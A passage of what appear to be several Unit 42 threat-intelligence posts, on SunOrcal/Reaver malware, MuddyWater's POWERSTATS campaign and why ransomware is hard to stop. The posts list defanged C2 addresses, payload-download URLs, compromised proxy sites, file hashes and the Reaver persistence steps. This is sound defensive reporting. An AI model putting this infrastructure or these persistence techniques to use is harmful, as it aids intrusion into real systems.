As attackers continue to grow and evolve, so does their toolsets. SunOrcal activity has been documented to at least 2013, and may have begun as early as 2010. This new variant was used concurrently with both Reaver and traditional SunOrcal, to include sharing much of the same infrastructure. We have also tied this activity to some involving the Surtr malware family, which is another tool used by these attackers.
As we have discovered, the attackers behind SunOrcal have updated this malware family to include both steganography techniques as well as the ability to collect C2 information from the popular GitHub service. It is interesting to note the rollout out of both a new malware family with three variants, along with an updated variant of a known family, coincides with what seems to be new targeting outside of what the attackers have targeted in the past. We have witnessed recent attacks that appear to be conducted by the same threat group but focused on Vietnam and Myanmar, instead of the traditional focus on the “Five Poisons”. These attacks use very topical lures to entice their targets to open and subsequently be infected by these files. We will continue to monitor this activity and report as appropriate.
Palo Alto Networks customers are protected from these threats via a number of ways:

  • All malware families discussed are tagged within AutoFocus
  • Malicious samples have been appropriately flagged within the WildFire platform
  • Domains used by this threat have been classified as malicious
  • Traps blocks the exploit used by the recently observed attacks

AutoFocus customers can monitor activity using these malware families with the following tags:


Appendix

SunOrcal Samples Using GitHub
e1d9cc6b5effa6a579801fb0d2fbfb700a50c916283dad205a7c88128376f098
d5e5abae142139484089974cbcaae5ac76d88f25a42fb961d8018a3c63a2601c
67ef25b0708e6c268d2cbd78d03141acfc9cf895b8422da69beb2ca598f2fcc7
a13647468498dd7c95de7d168c926cf53eb01fbc262bf372790b47b704c44a04
da0a0f940cc01f1e29304d860f144bde7a132d6e0abdec6588fac38875be248a
887aeccfb981266f1d47a68cba64de47a4945a63d3b1787294ac98842ff47ffd
81d887fefdbb0219647991c2b7bddf45c2fede4dc6fc18408f1706e0279615b2
840f55183809efa356cb1b7f4057f81e3752e7a6bcc1784f59551d988c690c48
58eac547fcba5572361daf4b49200f6d95114492ee296bc25542e8288e9542fa
163a82ab3db709da8fef18de67b71b19f300253b285bccccbf9375857d96e4d6
49adaad1ecfaba2de15d5024656ad277b39fcfcc07683c04a205bbedb027a9a1
491eec8b0d6aaf3aaeef3d4d53f5b94be6d84ab081d0d8e9859347e3c3cf0acc
48836912f48106e02ec0e083095fcf3a38cf871081e6cefbcd774e84168e8673
7288d5ae3c82cf3cda4815732edc144edb5ff728a5ecb0ba8caf76f7acde5488
0ea195e7927fb1d2d13c9b90da846f532be6924f8a2650c026c9105a297cce46

Malicious RTF
45eee0e7e41f5781577f7f380d90eb7145ab6ba9a8f64df31bb6fd3e72693f33

Traditional SunOrcal
799139b5278dc2ac24279cc6c3db44f4ef0ea78ee7b721b0ace38fd8018c51ac
58312fb742ce881e040e1b5b8555f00a402b8dd4fc886acaae2f862040b3bfc5
38ea33dab0ba2edd16ecd98cba161c550d1036b253c8666c4110d198948329fb
cb7c0cf1750baaa11783e93369230ee666b9f3da7298e4d1bb9a07af6a439f2f

Reaver
Reaver.v1
d560f44188fb56d3abb11d9508e1167329470de19b811163eb1167534722e666

Reaver.v2
98eb5465c6330b9b49df2e7c9ad0b1164aa5b35423d9e80495a178eb510cdc1c
05ddbd0506ec95fb460b3994e5b21cdb0418ba4aa406374ca1b91249349b7640

Reaver.v3
18ac3b14300ecfeed4b64a844c16dccb06b0e3513d0954d6c6182f2ea14e4c92
c0f8bb77284b96e07cab1c3fab8800b1bbd030720c74628c4ee5666694ef903d
9213f70bce491991c4cbbbd7dc3e67d3a3d535b965d7064973b35c50f265e59b
26c234c73e2c3448589c7d4a0cf17f615ad3666541a4e611e2d8b77637205bcf
ae9f158e4886cfdbfb4f1b3b25707d05f6fd873d0be9d8e7334a2c28741228ee
1fcda755e8fa23d27329e4bc0443a82e1c1e9a6c1691639db256a187365e4db1
c906250e0a4c457663e37119ebe1efa1e4b97eef1d975f383ac3243f9f09908c
1813f10bcf74beb582c824c64fff63cb150d178bef93af81d875ca84214307a1

Surtr
992e4577807e57b691acdfbace2651efe18292d1020fa94b44ea365885c6ccf0
4dffdd62a11d7095960a9a6583173dde418dd1c42df1cb656eeb6edeecde3917

Domains and IP addresses
www.weryhstui[.]com
www.eyesfeel256[.]com
www.olinaodi[.]com
www.fyoutside[.]com
www.flyoutside[.]com
www.outsidefly[.]com
www.eyestouch256[.]com
www.tashdqdxp[.]com
104.148.70[.]217
98.126.156[.]210
119.42.148[.]246

2 Minute Threat Brief: Expanding Targets for New SunOrcal Malware Variant

Posted on by Eila Shargh

Unit 42 has recently been investigating a new malware family called Reaver. While we have identified it as being active since late 2016, Reaver has been used sparingly, with only a small number of unique samples identified. Its targets have been movements the Chinese government consider dangerous, also known as the “Five Poisons.” We found that the Reaver malware family has shared command-and-control (C2) infrastructure overlap SunOrcal malware, and that these have been used concurrently since late 2016.

While investigating Reaver we recently also discovered a new variant of the SunOrcal malware family. While the SunOrcal malware family has been confirmed to have been active since 2013, possibly even earlier, this new variant has been observed targeting regions outside of the typical target radius for this threat group, now expanding to include Vietnam and Myanmar.

 

How it Works
Emails were sent to targets containing malicious attachments. Targeting a Vietnamese speaking audience, one of the malicious documents mentions Donald Trump and the disputed South China Sea area. This is a classic lure technique – including something the target will find interesting or important causing them to open the file and download the malware on to the victims’ system.

 

How to Defend Against it
These malware attacks utilize email phishing, and relies on targets opening the malicious email attachment. Security awareness is critical to avoid falling victim to such an attack.

General email best practices:

  • Make sure the sender is a trusted source. If you’ve never received something from them before, or the email address has typos, don’t open it.
  • If the sender appears to be convincing, pay close attention to the body of the email. Are there a lot of typos? Does the branding/logo look different? Does it look unprofessional?
  • Never click on a link within the email or download an attachment.
  • Don’t respond to the email with any password or personal information.

If you are unsure of the legitimacy of the email, contact the sender directly over the phone or by typing a trusted URL directly in your browser or saved bookmark. Additionally, keeping your systems and devices updated with the most current operating system and web browser is a general security best practice, as well as enabling multi-factor authentication to prevent an attacker from abusing credentials should they successfully capture them.

Muddying the Water: Targeted Attacks in the Middle East

Posted on by Tom Lancaster

Summary
This blog discusses targeted attacks against the Middle East taking place between February and October 2017 by a group Unit 42 is naming "MuddyWater". This blog links this recent activity with previous isolated public reporting on similar attacks we believe are related. We refer to these attacks as MuddyWater due to the confusion in attributing these attacks. Although the activity was previously linked by others to the FIN7 threat actor group, our research suggests the activity is in fact espionage related and unlikely to be FIN7 related.
The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

Introduction & Overview
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes. Which in turn, closely resembles a previous article by Morphisec. These attacks have also been tracked by several other researchers on Twitter and elsewhere.
The activity has been consistent throughout 2017 and, based on our analysis, targets or is suspected to target, entities in the following countries:

  • Saudi Arabia
  • Iraq
  • Israel
  • United Arab Emirates
  • Georgia
  • India
  • Pakistan
  • Turkey
  • USA

The malicious documents were adjusted according to the target regions, often using the logos of branches of local government, prompting the users to bypass security controls and enable macros. An overview of the technical changes seen in the past year is given in the graphic below, note that raw IOCs present in this graphic can be found as text in the Appendix at the end of this article.
MuddyWater_1

Figure 1. An overview of the delivery of POWERSTATS, C2 URLs used, and other changes in the malware


MuddyWater in the Middle East
The attackers behind MuddyWater have been active throughout 2017, with targets across the Middle East and surrounding areas, examples of the decoy documents observed is given in Table 1.
Of course, being named in a decoy document doesn’t mean any of these organizations have been attacked themselves or are involved in the attacks: the MuddyWater actors are abusing the trust these organizations’ names and/or logos command for their malicious purposes.

Month File Name or Decoy Document Theme Suspected Target Region
Nov 2017 The NSA
Telenor.doc		 Unknown
Pakistan
Oct 2017 Circulars.doc
dollar.doc
Pakistan Federal Investigation Agency
CV of Middle Eastern Civil Servant		 Turkey
Pakistan
 
Sep 2017 Iraq National Intelligence Service
Kaspersky Security solution 2017.doc		 Iraq
Aug 2017 Arab Emirate سری.docm
Iraq Commission of Integrity		 Arab Emirates
Jul 2017 Requirements of the Sago.doc
CommIT-Document.doc
Confidential letters.doc		 Saudi Arabia
Arab Emirates
Pakistan
Jun 2017 Iraq Kurdistan Regional Government
RFP_VOIP.doc		 Iraq
May 2017 RFP.doc
Requirement.doc
Iraq Kurdistan Regional Government		 Georgia
Iraq
Mar 2017 court.doc Georgia
Feb 2017 CERT-Audit-20172802-GEO.xls Georgia

Table 1 – Examples of the lure documents observed in the MuddyWater attacks.

 
All of these documents we observed and outlined above are related via:

  • Shared C2 infrastructure.
  • Use of the non-public PowerShell backdoor previously described by Morphisec and MalwareBytes (which we refer to as POWERSTATS).
  • Shared attributes of the malicious documents used in attacks.
  • Shared attributes as to how the documents were delivered.

Based on these connections we can be confident that all the files and infrastructure we give in our appendices are related, since more than one of these can be used to link each of the samples discussed in each case.

I download my tools from GitHub, and so do my victims.
The tools used by the MuddyWater attackers have been well documented by the previously cited research and a common theme of previous reporting was the open source nature of much of the toolset used by MuddyWater: Meterpreter, Mimikatz, Lazagne, Invoke-Obfuscation etc.. In some of their recent attack documents, the attackers also used GitHub as a hosting site for their custom backdoor, POWERSTATS. Specifically, the following GitHub repositories appear to be controlled by the MuddyWater threat actor(s):

  • [unknown SHA256]
    • Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/ArabicBrowserFont.exe
  • [unknown SHA256]
    • Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/FontArabic.exe
  • 9b5e36bb7518a9e333c31d09b589102f89e3425571dd434820ab3c437dc4e0d9 (and several others)
    • Downloads payload from: hxxps://raw.githubusercontent[.]com/ReactDeveloper2017/react/master/src/test/test.js

Interestingly, both profiles were populated with forked repositories to give them an air of legitimacy as shown in figure 2. The POWERSTATS malware was compiled as an exe using PS2EXE. However, this was a minor anomaly, as it was only seen in this case: raw scripts being used in all other cases.
Muddywater_2

Figure 2 – The GitHub profile for F0R3X containing both legitimate forked code and the binaries created by the attacker. Note that the username could be a small joke on the attackers’ part regarding the attribution to FIN7.


Pwn one to pwn them all
In some of the instances we observed what appeared to be compromised accounts at third party organizations sending the malware. In one case, the attackers sent a malicious document which was nearly identical to a legitimate attachment which we observed later being sent to the same recipient. This indicates that the attackers stole and modified a legitimate document from the compromised user account, crafted a malicious decoy Word macro document using this stolen document and sent it to the target recipient who might be expecting the email from the original account user before the real sender had time to send it.

This targeting of third party organizations to attack further targets is a risky move on the attackers’ part, as it potentially reveals their activity within the compromised third party organizations to the new target (those receiving the malicious documents


Making sense of MuddyWater
When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East, we were somewhat confused as the previous public reporting had attributed these attacks to FIN7. FIN7 is a threat actor group that is financially motivated with targets in the restaurant, services and financial sectors. Following the trail of existing public reporting, the tie to FIN7 is essentially made based on a download observed from a MuddyWater C2, of a non-public tool “DNSMessenger”.
For example, Morphisec wrote:
“Later in our investigation, the same command server also delivered a variant of the DNS messenger similar to that described by Talos. The domain names differed but the script adheres to the same logic (including the logic function).”
The DNSMessenger malware is an obfuscated and customized version of the popular DNS_TXT_PWNAGE.ps1 script available on GitHub and is also referred to by FireEye as POWERSOURCE. The use of the DNSMessenger tool appears primarily linked to FIN7, with no other samples being attributable to MuddyWater.
This led us to query the relationship between the newer attacks we were looking at and the alleged FIN7 link. As part of this research, we came up with the following hypotheses along with their likelihoods, and a rationale for each one.
1) The FIN7 threat actor is also involved in espionage in the Middle East - Unlikely
Whilst this may seem an attractive hypothesis to some, there are aspects on the technical side that simply don’t add up. Primarily, there are significant disparities between FIN7 and MuddyWater, specifically in terms of:

  • Malware unique to FIN7, or commonly used by them has not yet been seen in any MuddyWater investigations (except for the single observation of the DNSMessenger sample)
  • Other non-public malware and tools used by MuddyWater have not been observed in our FIN7 investigations.
  • From an infrastructure point of view there is no overlap between the two sets of activity, the only overlap is the use of the unique tool “DNSMessenger”

When these points are considered together in conjunction with the significant difference in targeting they make a strong case for classifying this activity as distinct from FIN7 activity.
2) The DNSMessenger malware is a shared tool, used by FIN7, MuddyWater and perhaps other groups - Unlikely
We have attempted to find examples of code available in public data sources that would generate the variation of the DNSMessenger malware and had little luck in doing so. Even though the code for DNSMessenger is publicly available following research into attackers published by 3rd parties, attackers would have to write the corresponding server side to use it, and as such they may well choose to use the public DNS_TXT_Pwnage.ps1 script instead.
Despite this, based on the chain of analysis above we cannot discount the notion that DNSMessenger is shared by multiple attackers, including FIN7 and MuddyWater.
3) There was a mistake in the original Morphisec analysis which linked these attacks to FIN7 -  Possible
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn’t possible for us to verify this link.
4) The attackers realized they were under investigation and planted a false flag - Possible
The attackers realized they were under investigation and planted a false flag on their C2 server, uploading a copy of the FIN7 DNSMessenger code which had been previously mentioned (and was since publicly available) by FireEye and delivering it to researchers to trick them into mis-attributing the campaign.
Indeed, the sample shared by Morphisec on PasteBin is identical to the one dropped by the sample discussed in the FireEye FIN7 SEC campaign blog except for the final line.

Final thoughts
Whilst we could conclude with confidence that the attacks discussed in this article are not FIN7 related, we were not able to answer many of our questions about the MuddyWater attacks. We are currently unable to make a firm conclusion about the origin of the attackers, or the specific types of information they seek out once on a network. In any case we will continue to track their activities to provide protections for our customers.
We hope the analysis presented shows the importance of drawing your own conclusions based on the data available to you, not just taking the conclusions given in the public domain at face value. This is especially true when actors who rely on slightly modified (and publicly available) open source tools are in play. Copycat threat actors can easily mimic attackers who use open source tools which can confuse attribution efforts meaning more than one aspect of the attacks observed must be considered when clustering.
On top of this, whilst the vast majority of threat analysis in the public domain is repeatable and correct, in some cases it can be difficult to verify the analysis available. When it is hard to reproduce the analysis the confidence in any conclusions drawn must be lower than it would otherwise be, since you cannot know for sure that what is stated is true.
Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire and Traps detect all the malware supported in this report as malicious.
  • Traps customers can deploy Heuristic methods to detect attacks that use these techniques.
  • C2 domains used by the attackers are blocked via Threat Prevention.

AutoFocus customers can monitor ongoing activity from the threats discussed in this report by looking at the following tags:


Appendix A – C2 Addresses

148.251.204[.]131
144.76.109[.]88
138.201.75[.]227

Compromised Legitimate Sites
106[.]187[.]38[.]21
arbiogaz[.]com
azmwn[.]suliparwarda[.]com
bangortalk[.]org[.]uk
best2[.]thebestconference[.]org
camco[.]com[.]pk
cbpexbrasilia[.]com[.]br
cgss[.]com[.]pk
diplomat[.]com[.]sa
feribschat[.]eu
ghanaconsulate[.]com[.]pk
magical-energy[.]com
mainandstrand[.]com
riyadhfoods[.]com
school[.]suliparwarda[.]com
suliparwarda[.]com
tmclub[.]eu
watyanagr[.]nfe[.]go[.]th
whiver[.]in
www[.]4seasonrentacar[.]com
www[.]akhtaredanesh[.]com
www[.]arcadecreative[.]com
www[.]armaholic[.]com
www[.]asan-max[.]com
www[.]autotrans[.]hr
www[.]dafc[.]co[.]uk
www[.]eapa[.]org
www[.]elev8tor[.]com
www[.]jdarchs[.]com
www[.]kunkrooann[.]com
www[.]mackellarscreenworks[.]com
www[.]mitegen[.]com
www[.]nigelwhitfield[.]com
www[.]pomegranates[.]org
www[.]ridefox[.]com
www[.]shapingtomorrowsworld[.]org
www[.]vanessajackson[.]co[.]uk
www[.]yaran[.]co
www[.]ztm[.]waw[.]pl
coa[.]inducks[.]org
mhtevents[.]com
skepticalscience[.]com
wallpapercase[.]com
www[.]spearhead-training[.]com

Appendix B – Related files

sha256 Overall Description
d2a0eec18d755d456a34865ff2ffc14e3969ea77f7235ef5dfc3928972d7960f Loader script from 144.76.109[.]88
1421a5cd0566f4a69e7ca9cdefa380507144d7ed59cd22e53bfd25263c201a6f MuddyWater Macro
4e3c7defd6f3061b0303e687a4b5b3cc2a4ae84cdc48706c65a7b1e53402efc0 MuddyWater Macro
8b96804d861ea690fcb61224ec27b84476cf3117222cca05e6eba955d9395deb Lazagne
16985600c959f6267476da614243a585b1b222213ec938351ef6a26560c992db PS2EXE PowerStats (GitHub)
cf87a2ac51503d645e827913dd69f3d80b66a58195e5a0044af23ea6ba46b823 PS2EXE PowerStats (GitHub)
3030d80cfe1ee6986657a2d9b76b626ea05e2c289dee05bd7b9553b10d14e4a1 Decoded PowerStats payload
99077dcb37395603db0f99823a190f50313dc4e9819462c7da29c4bc983f42fd Lazagne Runner Script
1b60b7f9b0faf25288f1057b154413921a6cb373dcee43e831b9263c5b3077ce MuddyWater Macro
2c8d18f03b6624fa38cae0141b91932ba9dc1221ec5cf7f841a2f7e31685e6a1 MuddyWater Macro
367021beedb3ad415c69c9a0e657dc3ed82b1b24a41a71537d889f5e2b7ca433 MuddyWater Macro
58282917a024ac252966650361ac4cbbbed48a0df7cab7b9a6329d4a04551c0d MuddyWater Macro
58898648a68f0639c06bedc8242ca48bc6ec56f11ed40d00aa5fdda4e5553482 MuddyWater Macro
81523e0199ae1dc9e87d2b952642785bfbda6326f22e4c0794a19afdf001a9a3 MuddyWater Macro
90b66b3fef77962fbfda364a4f8799bfcc9ab73772026d7a8922a7cf5556a024 MuddyWater Macro
96101de2386e35bc5e38d32524a02c6c5ca7cc6624e656a629b2e0f1693a76fd MuddyWater Macro
964aaf5d9b1c749df0a2df1f1b4193e5a643893f251e2d74b47663f895da9b13 MuddyWater Macro
97f9a83bc6bb1b3f5cb7ac9401f95265597bff796bb4901631d6fa2c79a48bdc MuddyWater Macro
a3c1fd46177a078c4b95c744a24103df7d0a58cee1a3be92bc4cdd7dec1b1aa5 MuddyWater Macro
fcfbdffbcad731e0a5aad349215c87ed919865d66c287a6723fd8e2f896c5834 MuddyWater Macro
2bb1637c80f0a7df7260a8583beb033f4afbdd5c321ff5642bc8e1868194e009 MuddyWater Macro
58aec38e98aba66f9f01ca53442d160a2da7b137efbc940672982a4d8415a186 MuddyWater Macro
605fefc7829cfa41710e0b844084eab1f180fe513adc1d8f0f82501a154db0f4 MuddyWater Macro
e8a832b04dbdc413b71076754c3a0bf07cb7b9b61927248c482ddca32e1dab89 MuddyWater Macro
5d049bd7f478ea5d978b3c78f7f0afdf294a94f526fc20ffd6e33022d40d15ae MuddyWater Macro
12a7898fe5c75e0b57519f1e7019b5d09f5c5cbe49c48ab91daf6fcc09ee8a30 MuddyWater Macro
2602e817a67949860733b3548b37792616d52ffd305405ccab0409bcfedc5d63 MuddyWater Macro
42a4d9527063f73004b049a093a34a4fc3b6ea9505cb9b50b895486cb2dca94b MuddyWater Macro
5ed5fc6c6918ff6fa4eab7742c03d59155ca87e0fe12bac339f18928e2924a96 MuddyWater Macro
a2ad6bfc47c4f69a2170cc1a9fd620a68b1ebb474b7bdf601066e780e592222f MuddyWater Macro
c23ece07fc5432ca200f3de3e4c4b68430c6a22199d7fab11916a8c404fb63dc MuddyWater Macro
cb96cd26f36a3b1aacabfc79bbb5c1e0c9850b1c75c30aa498ad2d4131b02b98 MuddyWater Macro
ed2f9c9d5554d5248a7ad9ad1017af5f1bbadbd2275689a8b019a04c516eeec2 MuddyWater Macro
fe16543109f640ddbf3725e4d9f593de9f13ee9ae96c5e41e9cdccb7ab35b661 MuddyWater Macro
886e3a2f74bf8f46b23c78a6bad80c74fe33579f6fe866bc5075b034c4d5d432 MuddyWater Macro
8ec108b8f66567a8d84975728b2d5e6a2786c2ca368310cca55acad02bb00fa6 MuddyWater Macro
96d80ae577e9b899772a940b4941da39cf7399b5c852048f0d06926eb6c9868a MuddyWater Macro
bb1a5fb87d34c63ade0ed8a8b95412ba3795fd648a97836cb5117aff8ea08423 MuddyWater Macro
d65e2086aeab56a36896a56589e47773e9252747338c6b59c458155287363f28 MuddyWater Macro
588cd0fe3ae6fbd2fa4cf8de8db8ae2069ea62c9eaa6854caedf45045780661f MuddyWater Macro
917a6c816684f22934e2998f43633179e14dcc2e609c6931dd2fc36098c48028 MuddyWater Macro
db7bdd6c3ff7a27bd4aa9acc17dc35c38b527fb736a17d0927a0b3d7e94acb42 MuddyWater Macro
de6ce9b75f4523a5b235f90fa00027be5920c97a972ad6cb2311953446c81e1d MuddyWater Macro
a6673c6d52dd5361afd96f8143b88810812daa97004f69661da625aaaba9363b MuddyWater Macro
40a6b4c6746e37d0c5ecb801e7656c9941f4839f94d8f4cd61eaf2b812feaabe MuddyWater Macro


Appendix C – Proxy URLs found from POWERSTATS samples from October 2017 onwards
hxxp://106[.]187[.]38[.]21/short_qr/work[.]php?c=
hxxp://arbiogaz[.]com/upload/work[.]php?c=
hxxp://azmwn[.]suliparwarda[.]com/wp-content/plugins/wpdatatables/panda[.]php?c=
hxxp://azmwn[.]suliparwarda[.]com/wp-content/themes/twentyfifteen/logs[.]php?c=
hxxp://bangortalk[.]org[.]uk/speakers[.]php?c=
hxxp://best2[.]thebestconference[.]org/ccb/browse_cat[.]php?c=
hxxp://camco[.]com[.]pk/Controls/data[.]aspx?c=
hxxp://cbpexbrasilia[.]com[.]br/wp-content/plugins/wordpress-seo/power[.]php?c=
hxxp://cbpexbrasilia[.]com[.]br/wp-includes/widgets/work[.]php?c=
hxxp://cgss[.]com[.]pk/data[.]aspx?c=
hxxp://diplomat[.]com[.]sa/wp-content/plugins/wordpress-importer/cache[.]php?c=
hxxp://feribschat[.]eu/logs[.]php?c=
hxxp://ghanaconsulate[.]com[.]pk/data[.]aspx?c=
hxxp://magical-energy[.]com/css[.]aspx?c=
hxxp://magical-energy[.]com/css/css[.]aspx?c=
hxxp://mainandstrand[.]com/work[.]php?c=
hxxp://riyadhfoods[.]com/css/edu[.]aspx?c=
hxxp://riyadhfoods[.]com/jquery-ui/js/jquery[.]aspx?c=
hxxp://school[.]suliparwarda[.]com/components/com_akeeba/work[.]php?c=
hxxp://school[.]suliparwarda[.]com/plugins/editors/codemirror/work[.]php?c=
hxxp://suliparwarda[.]com/includes/panda[.]php?c=
hxxp://suliparwarda[.]com/layouts/joomla/logs[.]php?c=
hxxp://suliparwarda[.]com/wp-content/plugins/entry-views/work[.]php?c=
hxxp://suliparwarda[.]com/wp-content/themes/twentyfifteen/work[.]php?c=
hxxp://tmclub[.]eu/clubdata[.]php?c=
hxxp://watyanagr[.]nfe[.]go[.]th/e-office/lib/work[.]php?c=
hxxp://watyanagr[.]nfe[.]go[.]th/watyanagr/power[.]php?c=
hxxp://whiver[.]in/power[.]php?c=
hxxp://www[.]4seasonrentacar[.]com/viewsure/data[.]aspx?c=
hxxp://www[.]akhtaredanesh[.]com/d/file/sym/work[.]php?c=
hxxp://www[.]akhtaredanesh[.]com/d/oschool/power[.]php?c=
hxxp://www[.]arcadecreative[.]com/work[.]php?c=
hxxp://www[.]armaholic[.]com/list[.]php?c=
hxxp://www[.]asan-max[.]com/files/articles/css[.]aspx?c=
hxxp://www[.]asan-max[.]com/files/articles/large/css[.]aspx?c=
hxxp://www[.]autotrans[.]hr/index[.]php?c=
hxxp://www[.]dafc[.]co[.]uk/news[.]php?c=
hxxp://www[.]eapa[.]org/asphalt[.]php?c=
hxxp://www[.]elev8tor[.]com/show-work[.]php?c=
hxxp://www[.]jdarchs[.]com/work[.]php?c=
hxxp://www[.]kunkrooann[.]com/inc/work[.]php?c=
hxxp://www[.]mackellarscreenworks[.]com/work[.]php?c=
hxxp://www[.]mitegen[.]com/mic_catalog[.]php?c=
hxxp://www[.]nigelwhitfield[.]com/v2/work[.]php?c=
hxxp://www[.]pomegranates[.]org/index[.]php?c=
hxxp://www[.]ridefox[.]com/content[.]php?c=
hxxp://www[.]shapingtomorrowsworld[.]org/category[.]php?c=
hxxp://www[.]vanessajackson[.]co[.]uk/work[.]php?c=
hxxp://www[.]yaran[.]co//wp-content/plugins/so-masonry/logs[.]php?c=
hxxp://www[.]yaran[.]co/wp-includes/widgets/logs[.]php?c=
hxxp://www[.]ztm[.]waw[.]pl/pop[.]php?c=
hxxps://coa[.]inducks[.]org/publication[.]php?c=
hxxps://mhtevents[.]com/account[.]php?c=
hxxps://skepticalscience[.]com/graphics[.]php?c=
hxxps://wallpapercase[.]com/wp-content/themes/twentyfifteen/logs[.]php?c=
hxxps://wallpapercase[.]com/wp-includes/customize/logs[.]php?c=
hxxps://www[.]spearhead-training[.]com//html/power[.]php?c=
hxxps://www[.]spearhead-training[.]com/work[.]php?c=
 

Threat Brief: Why Ransomware Hurts So Much and Is So Hard to Stop

Posted on by Unit 42

In our updated report on ransomware from Unit 42, “Ransomware: Unlocking the Lucrative Criminal Business Model,” Unit 42 researcher Bryan Lee notes: “In 2016, it was thought that there were less than one hundred active ransomware variants out in the wild. Today, the number of total ransomware variants at least over 150, if not hundreds more.”

It’s reasonable to ask why ransomware continues not only to exist but to thrive. The first answer to this, as we’ve outlined in our report, is that ransomware is a lucrative cybercriminal business model. However, in addition to the human factor, there are technical reasons. Specifically, there are three things that combine to make ransomware a particularly potent threat on the technical level:

  1. Ransomware very effectively exploits the total trust the Microsoft Windows operating system places in the user.
  2. Ransomware specifically targets file types and locations that are valuable to users..
  3. Ransomware operates quickly, thwarting post-compromise tools for response

In some ways, these three points state the obvious. But the full ramifications and why these make ransomware hard to stop aren’t always discussed.

The way ransomware works is well documented, but let’s recap here. Ransomware is downloaded to a user’s system and executed on it. The way the attackers get the ransomware on the system varies: it can be through unpatched vulnerabilities, social engineering or both. The most common way ransomware operators levy attacks is through email or by web browsing to malicious or compromised sites. The overwhelming majority of ransomware attacks are against Microsoft Windows systems. Once malware is running on the user’s system, it seeks out and encrypts files and folders that hold information critical for the user, such as documents, business applications or even database files. In some cases, the ransomware is sophisticated enough to target specific application files. Most importantly, because the ransomware is executing with the compromised user’s privileges, any file the legitimate, now-compromised user has access to, including network shares and backups, is fair game for the ransomware.

It’s this last point that gets to the heart of why ransomware is so potent. From an operating system point of view, the ransomware IS the user. Even though Microsoft Windows today features a robust user access control system, that system has inherent limitations. In the early days of Window Vista, Microsoft enabled aggressive security checking to ensure user-initiated actions were legitimate. This was well-intentioned but ultimately backfired: users got fed up clicking “Are you sure?” dialog boxes and quickly disabled the feature, or just mindlessly clicked “OK” every time they saw it. Microsoft made reasonable adjustments so that these alerts are now raised sparingly. Although that feature was never enabled to protect user data files like ransomware targets, there is a clear lesson from the experience: too many security checks on user activity fails in the end.

Bringing that lesson to bear here, the only way the operating system could protect against ransomware would be to raise “Are you sure?” dialog boxes on everyday operations against the kinds of files that ransomware targets.  And this is where the second point comes to bear.

Unlike other forms of malware, ransomware is very specific in its targeting. It goes after the files users are most likely to care about. These also happen to be files users are most likely to use on a day-to-day basis or that are critical to an organization’s operations. Extra layers of protection for those files would be incredibly onerous. Imagine having to click through “Are you sure?” dialog boxes for every document or picture you opened in a day.

From an engineering point of view, this sole, specific targeting of files that matter significantly increases the chances of ransomware’s success. This brings us to the third point: there is little attack time wasted on files that don’t matter to the victim. Even a successful ransomware attack that is halted early by security software will achieve some level of damage – enough to make the victim consider paying the ransom to get the files back. If user32.dll were encrypted and unusable, it would be a problem. But when your organization’s overall accounting and audit report is inaccessible right before the big deadline, that’s catastrophic.

The net of these three points is that ransomware is a threat such that focus needs to be placed solely around prevention. There is no effective solution for ransomware at the operating system level, as outlined above. And unlike other attacks, ransomware attacks can’t succeed “just a little.” In some cases, a single file lost is more than enough to count as a fully successful attack.

In some ways, ransomware is a threat unlike any other. Its impact and scope are both broad and deep in ways that are unique. Because of that, from a risk assessment point of view, ransomware needs to be put in a class by itself – a class that acknowledges that the risks from a successful attack of any kind are very high.

New Malware with Ties to SunOrcal Discovered

Posted on by Josh Grunzweig

Summary
Unit 42 has discovered a new malware family we’ve named “Reaver” with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.
While we don’t have information on the intended targets in this case, previous reports on this activity have identified targeting primarily among the “Five Poisons” which are movements the Chinese government perceives as dangerous. They are:

  • Uyghurs, particularly those supporting East Turkestan independence
  • Tibetans, particularly those supportive of Tibetan independence
  • Falun Gong practitioners
  • Supporters of Taiwan independence
  • Supporters of Chinese democracy

The attackers used both families concurrently from late last year through November 2017 and there is some C2 infrastructure overlap between the two families, as well as links to historical reporting.  We explore those ties and provide an in-depth analysis of the new malware below.

Reaver Malware Analysis
To date, Palo Alto Networks Unit 42 has identified 10 unique samples and three distinct variants of a new malware family we have named “Reaver”. As such, we identify each variant as Reaver.v1, Reaver.v2, and Reaver.v3.
Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication.
The flow for Reaver is as shown:
Sunorcal_1

Figure 1 Reaver execution flow diagram

Reaver.v1
The earliest variant of Reaver begins by attempting to enable the SeDebugPrivilege privilege for the running process. In the event this is successful the malware will use the following path to store any dropped files:

  • %COMMONPROGRAMFILES%\services\

In the event it is not successful, this alternative path will be used instead:

  • %APPDATA%\microsoft\mmc\

It proceeds to load and decrypt and embedded bitmap resource file. This decrypted data is written to the following location:

  • %TEMP%\WUpdate.~tmp

This ‘WUpdate.~tmp’ file is then copied to a filename of ‘Applet.cpl’, which is placed in the previously identified file path.
The malware proceeds to identify the file path of either the common startup folder, or the user’s startup folder depending on if the SeDebugPrivilege privilege was obtained. In the event this privilege was obtained, the common startup folder is queried by reading the following registry key:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Startup

Alternatively, if the privilege was unable to be obtained, Reaver.v2 will obtain the user’s startup folder by querying the following registry key:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup

